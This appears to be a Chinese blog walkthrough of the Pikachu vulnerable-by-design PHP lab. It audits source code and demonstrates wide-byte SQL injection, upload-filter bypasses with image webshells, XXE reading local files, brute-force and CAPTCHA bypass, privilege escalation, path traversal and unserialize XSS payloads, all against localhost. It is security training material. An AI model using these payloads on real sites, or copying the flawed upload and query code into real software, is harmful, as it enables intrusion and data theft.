    //设置mysql客户端来源编码是gbk,这个设置导致出现宽字节注入问题
    $set = "set character_set_client=gbk";
    execute($link,$set);

    //mysqi_query不打印错误描述
    $result=mysqli_query($link, $query);
    if(mysqli_num_rows($result) >= 1){
        while ($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
        }
    }else{
        $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
    }


}

验证:

payload: POST | %df' union select user(),database()#

File Upoad 文件上传漏洞

client check 前端校验

路径:http://localhost/pikachu-master/vul/unsafeupload/clientcheck.php

请求方式:POST

参数:uploadfile=xxx

漏洞成因:上传文件的校验是通过前端js完成的,后端未做文件的校验,众所周知,前端的校验是可以绕过的

审计:

前端代码

<div class="page-content">
    <div id="usu_main">
        <p class="title">这里只允许上传图片o!</p>

        <form class="upload" method="post" enctype="multipart/form-data"  action="">
            <input class="uploadfile" 
                   type="file" 
                   name="uploadfile" 
                   onchange="checkFileExt(this.value)"/><br />
            <input class="sub" type="submit" name="submit" value="开始上传" />
        </form>

        <?php
        echo $html;//输出了路径,暴露了
        ?>
    </div>

</div><!-- /.page-content -->
<script>
    function checkFileExt(filename)
    {
        var flag = false; //状态
        var arr = ["jpg","png","gif"];
        //取出上传文件的扩展名
        var index = filename.lastIndexOf(".");
        var ext = filename.substr(index+1);
        //比较
        for(var i=0;i<arr.length;i++)
        {
            if(ext == arr[i])
            {
                flag = true; //一旦找到合适的,立即退出循环
                break;
            }
        }
        //条件判断
        if(!flag)
        {
            alert("上传的文件不符合要求,请重新选择!");
            location.reload(true);
        }
    }
</script>

后端代码逻辑

$html='';
if(isset($_POST['submit'])){
//     var_dump($_FILES);
    $save_path='uploads';//指定在当前目录建立一个目录
    $upload=upload_client('uploadfile',$save_path);//调用函数
    if($upload['return']){
        $html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>";
    }else{
        $html.="<p class=notice>{$upload['error']}</p>";
    }
}
//客户端前端验证的后台函数
function upload_client($key,$save_path){
    $arr_errors=array(
        1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值',
        2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',
        3=>'文件只有部分被上传',
        4=>'没有文件被上传',
        6=>'找不到临时文件夹',
        7=>'文件写入失败'
    );
    if(!isset($_FILES[$key]['error'])){
        $return_data['error']='请选择上传文件!';
        $return_data['return']=false;
        return $return_data;
    }
    if ($_FILES[$key]['error']!=0) {
        $return_data['error']=$arr_errors[$_FILES[$key]['error']];
        $return_data['return']=false;
        return $return_data;
    }
    //新建一个保存文件的目录
    if(!file_exists($save_path)){
        if(!mkdir($save_path,0777,true)){
            $return_data['error']='上传文件保存目录创建失败,请检查权限!';
            $return_data['return']=false;
            return $return_data;
        }
    }
    $save_path=rtrim($save_path,'/').'/';//给路径加个斜杠
    if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$_FILES[$key]['name'])){
        $return_data['error']='临时文件移动失败,请检查权限!';
        $return_data['return']=false;
        return $return_data;
    }
    //如果以上都通过了,则返回这些值,存储的路径,新的文件名(不要暴露出去)
    $return_data['new_path']=$save_path.$_FILES[$key]['name'];
    $return_data['return']=true;
    return $return_data;

}

通过审计,先看前端,前端选择文件的input框中绑定了一个onchange事件,用于触发checkFileExt()js函数,该函数用于校验文件的后缀名;后端中具有校验作用的是upload_client()函数,但是这个函数只对文件的大小、是否成功上传做了校验,并未做文件的类型、后缀名、文件头等相关的校验,所以,这里文件上传存在漏洞,前端可绕过

验证

通过bp抓包绕过

由于这里触发验证的地方绑定的是一个onchange()事件,所以上传文件的时候,需要先上传允许的后缀名文件,抓包以后再改后缀名

从暴露和文件上传的位置访问phpinfo.php

MIME type 文件类型校验

路径:http://localhost/pikachu-master/vul/unsafeupload/servercheck.php

请求方式:POST

参数:uploadfile=xxx

漏洞成因:只对文件MIME类型做了校验,忽略了文件的后缀名校验,可以通过bp修改包中文件的类型即可绕过验证

审计:

$html='';
if(isset($_POST['submit'])){
//     var_dump($_FILES);
    $mime=array('image/jpg','image/jpeg','image/png');//指定MIME类型,这里只是对MIME类型做了判断。
    $save_path='uploads';//指定在当前目录建立一个目录
    $upload=upload_sick('uploadfile',$mime,$save_path);//调用函数
    if($upload['return']){
        $html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>";
    }else{
        $html.="<p class=notice>{$upload['error']}</p>";
    }
}
//只通过MIME类型验证了一下图片类型,其他的无验证,upsafe_upload_check.php
function upload_sick($key,$mime,$save_path){
    $arr_errors=array(
        1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值',
        2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',
        3=>'文件只有部分被上传',
        4=>'没有文件被上传',
        6=>'找不到临时文件夹',
        7=>'文件写入失败'
    );
    if(!isset($_FILES[$key]['error'])){
        $return_data['error']='请选择上传文件!';
        $return_data['return']=false;
        return $return_data;
    }
    if ($_FILES[$key]['error']!=0) {
        $return_data['error']=$arr_errors[$_FILES[$key]['error']];
        $return_data['return']=false;
        return $return_data;
    }
    //验证一下MIME类型
    if(!in_array($_FILES[$key]['type'], $mime)){
        $return_data['error']='上传的图片只能是jpg,jpeg,png格式的!';
        $return_data['return']=false;
        return $return_data;
    }
    //新建一个保存文件的目录
    if(!file_exists($save_path)){
        if(!mkdir($save_path,0777,true)){
            $return_data['error']='上传文件保存目录创建失败,请检查权限!';
            $return_data['return']=false;
            return $return_data;
        }
    }
    $save_path=rtrim($save_path,'/').'/';//给路径加个斜杠
    if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$_FILES[$key]['name'])){
        $return_data['error']='临时文件移动失败,请检查权限!';
        $return_data['return']=false;
        return $return_data;
    }
    //如果以上都通过了,则返回这些值,存储的路径,新的文件名(不要暴露出去)
    $return_data['new_path']=$save_path.$_FILES[$key]['name'];
    $return_data['return']=true;
    return $return_data;
    
}

验证:

通过bp将上传文件的MIME类型修改即可

可以看到上传了一个phpinfo.php文件,只修改了MIME类型,文件就上传成功了

getimagesize 图片尺寸校验

路径:http://localhost/pikachu-master/vul/unsafeupload/getimagesize.php

请求方式:POST

参数:uploadfile=xxx

漏洞成因:

  • 使用getimagesize()函数检查图片的尺寸信息,如果验证有误,返回false,这里可以制作一个图片马,来绕过校验

但是要执行的话,需要网站还存在文件包含漏洞

审计:

$html='';
if(isset($_POST['submit'])){
    $type=array('jpg','jpeg','png');//指定类型
    $mime=array('image/jpg','image/jpeg','image/png');
    $save_path='uploads'.date('/Y/m/d/');//根据当天日期生成一个文件夹
    $upload=upload('uploadfile','512000',$type,$mime,$save_path);//调用函数
    if($upload['return']){
        $html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['save_path']}</p>";
    }else{
        $html.="<p class=notice>{$upload['error']}</p>";

    }
}
//进行了严格的验证
function upload($key,$size,$type=array(),$mime=array(),$save_path){
    $arr_errors=array(
        1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值',
        2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',
        3=>'文件只有部分被上传',
        4=>'没有文件被上传',
        6=>'找不到临时文件夹',
        7=>'文件写入失败'
    );
//     var_dump($_FILES);
    if(!isset($_FILES[$key]['error'])){
        $return_data['error']='请选择上传文件!';
        $return_data['return']=false;
        return $return_data;
    }
    if ($_FILES[$key]['error']!=0) {
        $return_data['error']=$arr_errors[$_FILES[$key]['error']];
        $return_data['return']=false;
        return $return_data;
    }
    //验证上传方式
    if(!is_uploaded_file($_FILES[$key]['tmp_name'])){
        $return_data['error']='您上传的文件不是通过 HTTP POST方式上传的!';
        $return_data['return']=false;
        return $return_data;
    }
    //获取后缀名,如果不存在后缀名,则将变量设置为空
    $arr_filename=pathinfo($_FILES[$key]['name']);
    if(!isset($arr_filename['extension'])){
        $arr_filename['extension']='';
    }
    //先验证后缀名
    if(!in_array(strtolower($arr_filename['extension']),$type)){//转换成小写,再比较
        $return_data['error']='上传文件的后缀名不能为空,且必须是'.implode(',',$type).'中的一个';
        $return_data['return']=false;
        return $return_data;
    }
    
    //验证MIME类型,MIME类型可以被绕过
    if(!in_array($_FILES[$key]['type'], $mime)){
        $return_data['error']='你上传的是个假图片,不要欺骗我xxx!';
        $return_data['return']=false;
        return $return_data;
    }
    //通过getimagesize来读取图片的属性,从而判断是不是真实的图片,还是可以被绕过的
    if(!getimagesize($_FILES[$key]['tmp_name'])){
        $return_data['error']='你上传的是个假图片,不要欺骗我!';
        $return_data['return']=false;
        return $return_data;
    }
    //验证大小
    if($_FILES[$key]['size']>$size){
        $return_data['error']='上传文件的大小不能超过'.$size.'byte(500kb)';
        $return_data['return']=false;
        return $return_data;
    }

    //把上传的文件给他搞一个新的路径存起来
    if(!file_exists($save_path)){
        if(!mkdir($save_path,0777,true)){
            $return_data['error']='上传文件保存目录创建失败,请检查权限!';
            $return_data['return']=false;
            return $return_data;
        }
    }
    //生成一个新的文件名,并将新的文件名和之前获取的扩展名合起来,形成文件名称
    $new_filename=str_replace('.','',uniqid(mt_rand(100000,999999),true));
    if($arr_filename['extension']!=''){
        $arr_filename['extension']=strtolower($arr_filename['extension']);//小写保存
        $new_filename.=".{$arr_filename['extension']}";
    }
    //将tmp目录里面的文件拷贝到指定目录下并使用新的名称
    $save_path=rtrim($save_path,'/').'/';
    if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$new_filename)){
        $return_data['error']='临时文件移动失败,请检查权限!';
        $return_data['return']=false;
        return $return_data;
    }
    //如果以上都通过了,则返回这些值,存储的路径,新的文件名(不要暴露出去)
    $return_data['save_path']=$save_path.$new_filename;
    $return_data['filename']=$new_filename;
    $return_data['return']=true;
    return $return_data;
    }

通过审计,upload()方法中,与文件有关的校验,包括

  • 文件MIME类型的校验
  • 文件后缀名白名单校验
  • 文件是否真是图片的校验(图片尺寸检查):意味着需要上传一张真图片,改文件后缀名的方式就失效了,但是可以上传一张图片马

验证:

制作图片马上传

通过windows命令行中copy命令,制作一个图片马

文件上传

发现路径暴露了,配合文件包含漏洞,解析图片马

xxe 外部实体注入

路径:http://localhost/pikachu-master/vul/xxe/xxe_1.php

请求方式:POST

参数:xml=xxx

漏洞成因:

  • 代码中使用了simplexml_load_string()函数,这个函数可以解析外部实体
  • 这里的漏洞产生是直接传入未经过滤的xml参数到函数中执行

审计:

$html='';
//考虑到目前很多版本里面libxml的版本都>=2.9.0了,所以这里添加了LIBXML_NOENT参数开启了外部实体解析
if(isset($_POST['submit']) and $_POST['xml'] != null){


    $xml =$_POST['xml'];
//    $xml = $test;
    $data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
    if($data){
        $html.="<pre>{$data}</pre>";
    }else{
        $html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
    }
}

验证:

payload:POST | 外部实体注入

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "file:///C:/windows/system32/drivers/etc/hosts">
]>
<name>&xxe;</name>

暴力破解

无防暴力破解措施

路径:http://localhost/pikachu-master/vul/burteforce/bf_form.php

请求方式:POST

参数:username=xxx&password=xxx

漏洞成因:

  • 没有限制账号密码输入错误次数
  • 没有设置验证码、token、滑块等控制措施

审计:

//典型的问题,没有验证码,没有其他控制措施,可以暴力破解
if(isset($_POST['submit']) && $_POST['username'] && $_POST['password']){

    $username = $_POST['username'];
    $password = $_POST['password'];
    $sql = "select * from users where username=? and password=md5(?)";
    $line_pre = $link->prepare($sql);


    $line_pre->bind_param('ss',$username,$password);

    if($line_pre->execute()){
        $line_pre->store_result();
        if($line_pre->num_rows>0){
            $html.= '<p> login success</p>';

        } else{
            $html.= '<p> username or password is not exists~</p>';
        }

    } else{
        $html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>';
    }

}

验证:

使用bp暴力破解模块

前端验证绕过

路径:http://localhost/pikachu-master/vul/burteforce/bf_client.php

请求方式:POST

参数:username=xx&password=xxx

漏洞成因:验证码的生成和验证都通过前端js完成,可bp绕过

审计:

后端代码:

明显后端没有验证码生成、校验的机制

前端代码:

<form id="bf_client" method="post" action="bf_client.php" onsubmit="return validate();">
....
   <label>
       <input type="text" 
              onclick="createCode()" 
              readonly="readonly" 
              id="checkCode" 
              class="unchanged" 
              style="width: 100px" />
    </label><br />

                <label><input class="submit"  name="submit" type="submit" value="Login" /></label>

</form>

<script language="javascript" type="text/javascript">
    var code; //在全局 定义验证码
    function createCode() {
        code = "";
        var codeLength = 5;//验证码的长度
        var checkCode = document.getElementById("checkCode");
        var selectChar = new Array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9,'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');//所有候选组成验证码的字符,当然也可以用中文的

        for (var i = 0; i < codeLength; i++) {
            var charIndex = Math.floor(Math.random() * 36);
            code += selectChar[charIndex];
        }
        //alert(code);
        if (checkCode) {
            checkCode.className = "code";
            checkCode.value = code;
        }
    }

    function validate() {
        var inputCode = document.querySelector('#bf_client .vcode').value;
        if (inputCode.length <= 0) {
            alert("请输入验证码!");
            return false;
        } else if (inputCode != code) {
            alert("验证码输入错误!");
            createCode();//刷新验证码
            return false;
        }
        else {
            return true;
        }
    }


    createCode();
</script>

明显是通过js代码中createCode()生成验证码,通过validate()校验验证码

验证:

bp直接绕过验证码校验,等于情况和无验证码一样

后端验证绕过

路径:http://localhost/pikachu-master/vul/burteforce/bf_server.php

请求方式:POST

参数:username=xxx&password=xxx&code=xxx

漏洞成因:

  • 登录校验和验证码刷新分为两个请求包完成
  • 登录校验包中,校验一次后,无论是否成功,都没有销毁验证码,这里是主要原因
  • 意味着完全可以只抓取请求登录校验的包,这样验证码就是固定的,即可绕过

审计:

该页面验证码的生成是通过请求/inc/showvcode.php 来的,刷新也是

代码如下:

<?php 
session_start();
include_once 'function.php';
//$_SESSION['vcode']=vcode(100,40,30,4);
$_SESSION['vcode']=vcodex();
//验证码绕过 on server 这里其实还是有一个问题,就是服务端将验证码字符串以明文COOKIE的方式给了前端,那验证码还有什么鸟意义。。。
setcookie('bf[vcode]',$_SESSION['vcode']);
?>

也就是/vul/burteforce/bf_server.php 实际上加载的是两个请求包

bf_server.php代码如下:

$html="";
if(isset($_POST['submit'])) {
    if (empty($_POST['username'])) {
        $html .= "<p class='notice'>用户名不能为空</p>";
    } else {
        if (empty($_POST['password'])) {
            $html .= "<p class='notice'>密码不能为空</p>";
        } else {
            if (empty($_POST['vcode'])) {
                $html .= "<p class='notice'>验证码不能为空哦!</p>";
            } else {
//              验证验证码是否正确
                if (strtolower($_POST['vcode']) != strtolower($_SESSION['vcode'])) {
                    $html .= "<p class='notice'>验证码输入错误哦!</p>";
                    //应该在验证完成后,销毁该$_SESSION['vcode']
                }else{

                    $username = $_POST['username'];
                    $password = $_POST['password'];
                    $vcode = $_POST['vcode'];

                    $sql = "select * from users where username=? and password=md5(?)";
                    $line_pre = $link->prepare($sql);

                    $line_pre->bind_param('ss',$username,$password);

                    if($line_pre->execute()){
                        $line_pre->store_result();
                        //虽然前面做了为空判断,但最后,却没有验证验证码!!!
                        if($line_pre->num_rows()==1){
                            $html.='<p> login success</p>';
                        }else{
                            $html.= '<p> username or password is not exists~</p>';
                        }
                    }else{
                        $html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>';
                    }
                }
            }
        }
    }
}

<form method="post" action="bf_server.php">
....
<label>
    <img src="../../inc/showvcode.php" onclick="this.src='../../inc/showvcode.php?'+new Date().getTime();"/>
</label>

    
</form>

验证码校验成功以后,没有销毁或刷新验证码,直接进行数据库的查询

验证:

bp抓取第一个包,进行暴力破解

token防爆破

路径:http://localhost/pikachu-master/vul/burteforce/bf_token.php

请求方式:POST

参数:username=xx&password=xx&token=xxx

漏洞成因:

  • 这个token值在一个input的value属性中
  • 虽然加入了随机变化的token验证,但是在一个请求结束后,响应包中生成了新的token,同样输出在了input的value属性中,这就可以使用Burp Suite的Grep-Extract功能来提取响应中的token值,并将其设置为下一次请求的token payload

验证:

对比前后两次请求的包,发现第一次请求后响应包中新的token就是下一次请求中请求包中的token

使用burp中的Intruder模块,选择pitchfork攻击类型,添加payload:password和token

使用Burp Suite的Grep-Extract功能来提取响应中的token值

password选择一个密码字典,token选择递归搜索

设置单线程,防止token乱飞

爆破成功

逻辑漏洞

水平越权

路径:http://localhost/pikachu-master/vul/overpermission/op1/op1_mem.php

请求方式:GET

参数:username=xxx

漏洞成因:没有使用session来校验,而是使用的传进来的值,权限校验出现问题,这里应该跟登录态关系进行绑定,导致能够访问到其他用户的资料

审计:

$link=connect();
// 判断是否登录,没有登录不能访问
if(!check_op_login($link)){
    header("location:op1_login.php");
}
$html='';
if(isset($_GET['submit']) && $_GET['username']!=null){
    //没有使用session来校验,而是使用的传进来的值,权限校验出现问题,这里应该跟登录态关系进行绑定
    $username=escape($link, $_GET['username']);
    $query="select * from member where username='$username'";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)==1){
        $data=mysqli_fetch_assoc($result);
        $uname=$data['username'];
        $sex=$data['sex'];
        $phonenum=$data['phonenum'];
        $add=$data['address'];
        $email=$data['email'];

        $html.=<<<A
<div id="per_info">
   <h1 class="per_title">hello,{$uname},你的具体信息如下:</h1>

   <p class="per_name">姓名:{$uname}</p>

   <p class="per_sex">性别:{$sex}</p>

   <p class="per_phone">手机:{$phonenum}</p>    
   <p class="per_add">住址:{$add}</p> 
   <p class="per_email">邮箱:{$email}</p> 
</div>

A;
    }
}

验证:

登录的是lucy用户,修改username去查其他用户的资料

垂直越权

路径:http://localhost/pikachu-master/vul/overpermission/op2/op2_admin_edit.php

请求方式:POST

参数:username=xxx&password=xxx&sex=xxx&phonenum=xxx&email=xxx&address=xxx

漏洞成因:这个API只验证了用户登录状态,并没有验证用户权限级别,导致任何账号登录,都能使用这个API

审计:

$link=connect();
// 判断是否登录,没有登录不能访问
//这里只是验证了登录状态,并没有验证级别,所以存在越权问题。
if(!check_op2_login($link)){
    header("location:op2_login.php");
    exit();
}
if(isset($_POST['submit'])){
    if($_POST['username']!=null && $_POST['password']!=null){//用户名密码必填
        $getdata=escape($link, $_POST);//转义
        $query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['address']}')";
        $result=execute($link, $query);
        if(mysqli_affected_rows($link)==1){//判断是否插入
            header("location:op2_admin.php");
        }else {
            $html.="<p>修改失败,请检查下数据库是不是还是活着的</p>";

        }
    }
}
function check_op2_login($link){
    if(isset($_SESSION['op2']['username']) && isset($_SESSION['op2']['password'])){
        $query="select * from users where username='{$_SESSION['op2']['username']}' and sha1(password)='{$_SESSION['op2']['password']}'";
        $result=execute($link,$query);
        if(mysqli_num_rows($result)==1){
            return true;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

这里的验证用户是通过check_op2_login()进行的,可以看到这里的逻辑是从session中获取到username和password,代入sql语句中执行,只要查出结果就验证通过了,由此导致的垂直越权,因为普通用户是没有使用这个API的权限的

验证:

登录pikachu用户,在这个用户下去使用这个添加功能的API

使用hakerbar去发送post请求

信息泄露

目录遍历

路径:http://localhost/pikachu-master/dir.dir_list.php

请求方式:POST

参数:title=xxxc

漏洞成因:这里是将参数直接代入了文件包含函数,导致的问题

审计

$html='';
if(isset($_GET['title'])){
    $filename=$_GET['title'];
    //这里直接把传进来的内容进行了require(),造成问题
    require "soup/$filename";
//    echo $html;
}

验证:

payload:GET | ?title=?title=../../../../../../../../windows/system32/drivers/etc/hosts

还有路径:http://localhost/pikachu-master/vul/infoleak/findabc.php ,暴露了测试密码

反序列化漏洞

路径:http://localhost/pikachu-master/vul/unserialization/unser.php

请求方式:POST

参数:o=xxx

漏洞成因:将未经过滤的php序列化对象传入反序列化函数unserialize()中执行,导致的问题

审计:


class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}


//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }

}

验证:

payload:POST | ?o=O:1:"S":1:{s:4:"test";s:39:"<script>alert(document.cookie)</script>";}

这是通过serialize()序列化函数转化的一个对象

对应的php对象:

class S{
    public $test = "<script>alert(document.cookie)</script>"
}

标签:return,GET,pikachu,漏洞,html,靶场,php,data,POST
From: https://www.cnblogs.com/liigceen/p/18527301

相关文章

  • xss漏洞解析
    xss跨站脚本攻击案例xss案例有一段代码php $a=$_GET['a'];echo$a;?>XSS简介XSS被称为跨站脚本攻击(CrossSiteScripting),由于和CSS重名,所以改为XSS。XSS就是将恶意代码注入到网页中,以达到攻击的效果。XSS主要使用javascript,javascript可以非常灵活的操作html......
  • 常见的软件安全性缺陷和漏洞
    软件的安全有很多方面的内容,主要的安全问题是由软件本身的漏洞造成的,下面介绍常见的软件安全性缺陷和漏洞。1、缓冲区溢出缓冲区溢出已成为软件安全的头号公敌,许多实际中的安全问题都与它有关。造成缓冲区溢出问题通常有以下两种原因。1)设计空间的转换规则的校验问题即缺乏......
  • 《安全软件开发框架(SSDF) 1.1:降低软件漏洞风险的建议》解读(三)
    安全软件开发框架SSDF是由美国国家标准与技术研究院发布的关于安全软件开发的一组实践,帮助开发组织减少发布的软件中的漏洞数量,减少利用未检测到或未解决的漏洞的潜在影响,从根本上解决漏洞防止再次发生。本文根据《SecureSoftwareDevelopmentFramework(SSDF)Version1.1:R......
  • #渗透测试#SRC漏洞挖掘#自动化脚本的编写01
    免责声明本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停止本文章阅读。什么是python?Python是一种广泛使用的高级编程语言,以其简洁......
  • 1day未公开索贝融媒体工作平台 login 存在弱口令漏洞
    0x01阅读须知        技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者......
  • Web 靶场笔记-bWAPP
    事以密成,言以泄败。导航前言A1-Injection(注入)A2-BrokenAuth&SessionMgmt(破损的授权&会话管理)A3-Cross-SiteScripting(XSS跨站脚本)A4-InsecureDirectObjectReferences(IDOR不安全直接对象引用)A5-SecurityMisconfiguration(安全配置错误)......
  • sql注入——靶场Less1
    ?id=1?id=99'unionselect1,2,3--+查看占位?id=1'orderby3--+尝试出表有几列 ?id=1'orderby4--+说明只有三列?id=99'unionselect1,database(),3--+查询当前使用的数据库的名称?id=99'unionselect1,group_concat(table_name),3frominformation_sch......
  • 文件上传靶场1-21
    Pass-01(前端验证)因为是进行前端JS校验,因此可以直接在浏览器检查代码把checkFile()函数(即如下图红色框选中的函数)删了或者改成true,并按回车,即可成功上传php文件源码functioncheckFile(){varfile=document.getElementsByName('upload_file')[0].value;if(......
  • 第三章 权限维持-linux权限维持-隐藏-玄机靶场
    第三章权限维持-linux权限维持-隐藏-玄机靶场linux权限维持玄机靶场自用笔记。本篇文章来自lexsd6'shome师傅的分享,如有侵权请联系题目简介1.黑客隐藏的隐藏的文件完整路径md52.黑客隐藏的文件反弹shell的ip+端口{ip:port}3.黑客提权所用的命令完整路径的md5flag......